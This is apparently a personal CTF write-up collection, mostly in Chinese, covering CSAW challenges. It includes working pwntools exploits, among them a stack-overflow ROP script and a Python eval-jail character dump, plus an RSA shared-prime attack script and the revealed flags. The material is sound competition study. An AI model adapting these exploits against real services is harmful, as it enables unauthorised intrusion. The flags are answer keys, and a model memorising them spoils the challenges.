# Discord
## Information
- Category: Misc
- Points: 10
## Description
> Join the Discord for our super secret flag!
## Write-up
本来以为是和机器人聊天,发现这机器人还挺难斥候,怀疑是真人。但凡我表现出任何索要
flag 的姿态他就不高兴了……最后发现 flag 在 #rules channel,严重怀疑是不是自己眼
睛瞎了,还是当时脑子没完全开机,居然跑去和机器人聊天,然后这机器人也是牛逼,我说
我要睡觉了,人家第二天晚上还主动来找我,问我醒了没,继续聊啊……
## Flag
:spoiler[`csawctf{w3Ic0m3_70_th3_22nd_y34r_0f_CSAW}`]
# Star Scream (Old)
## Information
- Category: OSINT
- Points: 50
## Description
> In 2017, a daring trio of tinkerers sent five midnight-black specks skyward. N
o bigger than loaves of bread, yet destined to circle Earth 400km above the clou
ds. Two of the tinkerers dreamt of showing their country's flags to the stars, b
ut six weeks before my planned farewell, I tumbled back to the blue. Who am I?
>
> When you've sleuthed out the answer, submit: csawctf{Satelite-name_satcatnumbe
r}
## Write-up
13 号的题,没想到出现了一些戏剧性的事情,比赛延期 24h 并修改了题目……懒得删了,记
录一下这个旧 flag……
14 号的新题没做出来……/抓狂
### References
- [Birds-1](https://en.wikipedia.org/wiki/Birds-1)
- [GhanaSat-1](https://en.wikipedia.org/wiki/GhanaSat-1)
## Flag
:spoiler[`csawctf{GhanaSat-1_42821}`]
# Mooneys Bookstore
## Information
- Category: Pwn
- Points: 500
## Description
> You think it's just input. Just another binary.
> But this stack? It's mine.
> Overflow it. Follow the trail. I left a key behind.
> If you're paying attention, you'll find it.
> Slip once, and the story ends before it begins.
## Write-up
简单题……我好菜啊 :sob:
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
p64,
process,
raw_input,
remote,
)
FILE = "./overflow_me"
HOST, PORT = "chals.ctf.csaw.io", 21006
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
secret_addr = elf.bss() + 0x28
target.success(f"secret addr: {hex(secret_addr)}")
target.sendafter(b"Tell me its address", p64(secret_addr))
leak = target.recvlines(2)[1]
secret = int(leak, 16).to_bytes(0x8, "little")
target.success(f"leaked_addr: 0x{secret.hex()}")
target.sendafter(b"the story unlocks", secret)
target.recvuntil(b"for you: ")
val = int(target.recvline().strip(), 16).to_bytes(0x8, "little")
target.success(f"val: 0x{val.hex()}")
# raw_input("DEBUG")
payload = flat(
b"A" * 64,
val,
b"A" * 0x10,
rop.ret.address,
elf.sym["get_flag"],
)
target.sendlineafter(b"into this story.", payload)
target.interactive()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`csawctf{U_w3r3_n3v3r_m3@nt_2_s33_th3_st@ck~but_I_l3t_U_1n_b3c@us3_1_l0
v3_U~d8K#xY_q1W9eVz2NpL7}`]
# Power Up
## Information
- Category: Pwn
- Points: 500
## Description
> Your starship have been wandering for weeks in this derelict orbit, whose core
is out of energy.
> You are the last engineer who must ignite the core with energy using proper mo
dules.
> Power up the starship. Or stay stranded forever.
## Write-up
复现一下,比赛的时候成功解决了里面的伪随机数问题,但是由于没怎么学过堆方面的知识
,导致我认为这是 unsorted bin attack,然后现场学习了一番,发现始终会遇到问题,最
后也没能做出来就放弃了……
但是很意外,赛后看见有人通过逆向分析就给出了非预期的最简单解法……草,最近很多题目
都向我指出:我要是不急着想怎么利用,而是多思考思考伪代码和汇编的话,说不定会有奇
迹……
Anyway,这道题官方解法是 largebin attack,草,我当时完全跑偏了。问题不大,先复现
一下逆向分析的解法,然后等以后学完 largebin 了再回头用预期解做这道题吧……
逐个功能进去查看,发现 `launch_starship` 会直接打开并输出 flag 的内容:
```c
unsigned __int64 launch_starship()
{
size_t n; // rax
int fd; // [rsp+Ch] [rbp-94h]
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v4; // [rsp+98h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 0, 0x80u);
fd = open("flag.txt", 0);
if ( fd == -1 )
{
fwrite("Error: open failedn", 1u, 0x13u, stderr);
exit(1);
}
read(fd, s, 0x80u);
close(fd);
*(_WORD *)&s[strlen(s)] = 10;
n = strlen(s);
write(1, s, n);
return v4 - __readfsqword(0x28u);
}
```
下面是 main 函数:
```c ins={37-38, 51-56}
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int v4; // eax
int n5; // [rsp+Ch] [rbp-14h] BYREF
unsigned int v7; // [rsp+10h] [rbp-10h]
int char; // [rsp+14h] [rbp-Ch]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]
v9 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Your starship have been wandering for weeks in this derelict orbit, whos
e core is out of energy.");
puts("You are the last engineer who must ignite the core with energy using pro
per modules.");
puts("Power up the starship. Or stay stranded forever.");
seed = time(0);
srand(seed);
while ( 1 )
{
while ( 1 )
{
putchar(10);
puts("[1] Create a module");
puts("[2] Delete a module");
puts("[3] Edit a module");
puts("[4] Power up");
puts("[5] Stay stranded");
printf(">> ");
if ( (unsigned int)__isoc99_scanf("%d", &n5) == 1 && n5 > 0 && n5 <= 5 )
break;
puts("Invalid choice!");
do
char = getchar();
while ( char != 10 && char != -1 );
}
v4 = rand();
v7 = (unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) - ((unsigned i
nt)(v4 >> 31) >> 24);
switch ( n5 )
{
case 1:
create_module();
break;
case 2:
delete_module();
break;
case 3:
edit_module();
break;
case 4:
if ( (unsigned __int8)(16 * BYTE1(energy)) | (unsigned __int64)(((energy
>> 4) & 0xF) == v7) )
{
puts("The core is full of energy to power up the starship!");
launch_starship();
exit(0);
}
puts("The core is still dead as a rock without energy!");
break;
case 5:
puts("You and your starship will stay stranded in deep space forever!");
exit(1);
default:
continue;
}
}
}
```
这里直接手撕……注意到 `v4` 是通过 `rand` 生成的伪随机数,这个函数返回值范围是 $[
0,RAND_MAX]$ 。
而 `v7` 这个表达式,`(unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) -
((unsigned int)(v4 >> 31) >> 24)`,我们也无需深究它到底是什么意思,因为并不复杂
,直接消项嘛~发现有两部分相同的是 `(unsigned int)(v4 >> 31) >> 24)`,而减号左边
比右边只是多加了一个 `v4` 罢了。那如果我们得到的 `v4` 正好为 0 的话,整个 `v7`
表达式的结果也会是 0,都用不着算的,真瞪眼法秒了……
现在再看 4 号功能的检测要求:`(unsigned __int8)(16 * BYTE1(energy)) | (unsigned
__int64)(((energy >> 4) & 0xF) == v7)`,因为我们要是能 bypass 的话就能直接拿到 f
lag,那就想想有没有可能直接 bypass,这样我们就不用思考如何利用复杂的堆攻击了。
因为 `energy` 是在 bss 上的未初始化全局变量,默认为 0,所以 `(unsigned __int8)(1
6 * BYTE1(energy))` 的值可以直接确定为 0。由于这里使用的是 `|` 逻辑与运算,相当
于一个并集操作,所以如果我们想 bypass 这个检测,那唯一的机会就在 rhs 能不能是非
0 值了。
思考 rhs,`(unsigned __int64)(((energy >> 4) & 0xF) == v7`,它将 energy 值右移 4
bits,然后保留最低 4 bits,判断它与 `v7` 是否相等。相等就返回 1,否则返回 0 。
由于 energy 不论如何操作都是 0,这是肯定的,那只要 `v7` 也为 0,`0 == 0`,rhs 就
返回 1,`0 | 1` 就等于 1,成功 bypass 。
而这,也只需要我们不断输入 4 选项罢了……至于能不能命中,只是个概率问题。
这里解法是 `yes 4 | ./vuln`,说实话当时看到这个答案还是有点惊讶的,后来想想,确
实,自己的进步空间还是太大了……
## Exploit
```bash
yes 4 | ./vuln
```
## Flag
:spoiler[`csawctf{tyjroj_71m3_7o_g0_h0m3_zoqSy9_5w337_h0m3_nywcyp}`]
# Obligatory RSA
## Information
- Category: Crypto
- Points: 500
## Description
> Crypto just wouldn't be crypto without one!
## Write-up
RSA 简单啊,~直接拷打 AI xD~
## Exploit
```python
#!/usr/bin/env python3
import math
from Crypto.Util.number import inverse, long_to_bytes
e = 65537
n1 = 129092526753383933030272290277107300767707654330551632967994396398045326531
32030396318249748818247420246112069216273488043826141006654984563999202403741672
02284210762826329045985197932430672203420371448642370207578182631283011382060811
87472003821789897063195512919097350247829148288118913456964033001399074373
n2 = 108355113470836594630192960651980673780103497896732213011958303033575870030
50552816917472953049040591063429141534636068829045297652731690946964690828973202
37157374393125720126481658195332346048506083902339381740818671468466391106859281
36323983961395098632140681799175543046722931901766226759894951292033805879
d1 = 888434959898698710015597548829180767798584044407803918185676396020731736232
87821751315349650577023725245222074965050035045516207303078461168168819365025746
97358924513157014394471820304645739127041845908776426663089056607903982173516880
5805866019315142070438225092171304343352469029480503113942986147848666077
d2 = 945651442759297640172418658124356686442189185379415677112256444744184581155
44003036362558987818610553975855551983688286593672386482543188020042082319191545
66055132429373892021402804534424967051299913754899449657712844616563288577574479
5722253354007167294035878656056258332703809173397147948143695113558988035
def solve():
print("--- Starting Common Factor Attack ---")
p = math.gcd(n1, n2)
if p > 1:
print("[+] Success! A common factor was found.")
print("Shared Prime (p): {p}n")
q1 = n1 // p
q2 = n2 // p
print("--- Factoring Results ---")
print("q1: {q1}")
print("q2: {q2}")
print("[+] Verification successful: p * q1 == n1 and p * q2 == n2n")
# Calculate Euler's totient function
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
# Calculate the correct private keys
d_correct_1 = inverse(e, phi1)
d_correct_2 = inverse(e, phi2)
print("--- Calculated Correct Private Keys ---")
print(f"d_correct_1: {d_correct_1}")
print(f"d_correct_2: {d_correct_2}n")
print("--- Decrypting given 'd' values as ciphertext ---")
try:
plaintext_1 = pow(d1, d_correct_1, n1)
flag_1 = long_to_bytes(plaintext_1)
print(f"[+] Decrypted plaintext from d1: {flag_1}")
except Exception as ex:
print(f"[-] Decryption failed for d1: {ex}")
try:
plaintext_2 = pow(d2, d_correct_2, n2)
flag_2 = long_to_bytes(plaintext_2)
print(f"[+] Decrypted plaintext from d2: {flag_2}")
except Exception as ex:
print(f"[-] Decryption failed for d2: {ex}")
else:
print("[-] Attack failed. n1 and n2 do not share a common factor.")
solve()
```
## Flag
:spoiler[`csawctf{wH04m1_70d3Ny_7r4D1710n_4820391578649021735}`]
# Galaxy
## Information
- Category: Misc
- Points: 500
## Description
> Reach for the stars!
## Write-up
调教 AI 出的……工具就应该拿来用不是吗 LOL
## Exploit
```python
#!/usr/bin/env python3
from pwn import context, process, remote, args
import sys
FILE = "./main.py"
HOST, PORT = "chals.ctf.csaw.io", 21009
context(log_level="debug")
alphabet = "abcdefghijklmnopqrstuvwxyz'"
def launch():
global target
if args.L:
target = process(["python3", FILE])
else:
target = remote(HOST, PORT)
def main():
launch()
def send_recv_str(payload):
target.recvuntil(b"> ", timeout=1)
target.sendline(payload.encode())
try:
line = target.recvline()
if not line:
return ""
return line.decode(errors="ignore").strip()
except Exception:
return ""
target.recvuntil(b"> ")
apost_cipher = None
for c in alphabet:
# if ciphertext c -> "'", then c + "[" + c becomes "'['" after unwarp, e
val("'['") -> prints [
resp = send_recv_str(c + "[" + c)
if resp and "[" in resp and resp != "no galaxy":
apost_cipher = c
target.info(
f"Found apostrophe ciphertext: {apost_cipher!r} (response={resp!
r})"
)
break
if not apost_cipher:
target.failure("Could not find apostrophe ciphertext. Abort.")
target.close()
sys.exit(1)
# build cipher -> plaintext mapping by probing apost_cipher + candidate + ap
ost_cipher
cipher_to_plain = {}
for c in alphabet:
resp = send_recv_str(apost_cipher + c + apost_cipher)
# on success resp is printed plaintext character (single char)
if resp and resp != "no galaxy":
cipher_to_plain[c] = resp[0]
target.debug(f"cipher {c!r} -> plain {cipher_to_plain[c]!r}")
else:
cipher_to_plain[c] = None
# the candidate that maps to "'" will have produced no valid eval (None).
# fill it explicitly using apost_cipher we discovered.
cipher_to_plain[apost_cipher] = "'"
target.info(f'Explicitly set cipher {apost_cipher!r} -> plain "'"')
# invert mapping to get plaintext -> ciphertext
plain_to_cipher = {}
for c, pch in cipher_to_plain.items():
if pch is not None:
# if multiple c map to same pch (shouldn't), last one wins — but map
ping is bijection here
plain_to_cipher[pch] = c
# sanity check
missing = [ch for ch in alphabet if ch not in plain_to_cipher]
if missing:
target.warning(f"Missing plaintext->cipher mappings for: {missing}")
else:
target.info("Recovered full plaintext->cipher mapping for a-z and apostr
ophe.")
# helper to encrypt plaintext expression using mapping
def encrypt_plaintext(expr):
out = []
for ch in expr:
if ch in plain_to_cipher:
out.append(plain_to_cipher[ch])
else:
out.append(ch)
return "".join(out)
# negative index expression using allowed chars only
def neg_expr(n):
"""
Build an expression that evaluates to -n using only allowed characters.
Use ~('a'<'b') == -2 and ~('a'<'a') == -1, combine with +.
"""
q = n // 2
r = n % 2
parts = ["~('a'<'b')" for _ in range(q)]
if r:
parts.append("~('a'<'a')")
return "+".join(parts)
# ensure we can encrypt 'spiral' (all letters present)
for ch in "spiral":
if ch not in plain_to_cipher:
target.failure(f"Missing mapping for letter {ch!r}. Aborting.")
target.close()
sys.exit(1)
enc_spiral = encrypt_plaintext("spiral")
target.info(f"Encrypted 'spiral' -> {enc_spiral!r}")
# dump characters one-by-one using negative indices
flag_chars = []
MAX_CHARS = 80
for i in range(1, MAX_CHARS + 1):
idx_plain = neg_expr(i)
expr_plain = f"spiral[{idx_plain}]"
expr_cipher = encrypt_plaintext(expr_plain)
resp = send_recv_str(expr_cipher)
if not resp or resp == "no galaxy":
target.info(f"Index -{i} out-of-range or eval error (resp={resp!r}),
stop.")
break
ch = resp[0]
target.info(f"got index -{i}: {repr(ch)}")
flag_chars.append(ch)
flag = "".join(reversed(flag_chars))
target.success(f"Recovered flag (partial/full): {flag}")
target.close()
if __name__ == "__main__":
main()
```
## Flag
:spoiler[`csawctf{g@l@xy_0bserv3r$}`]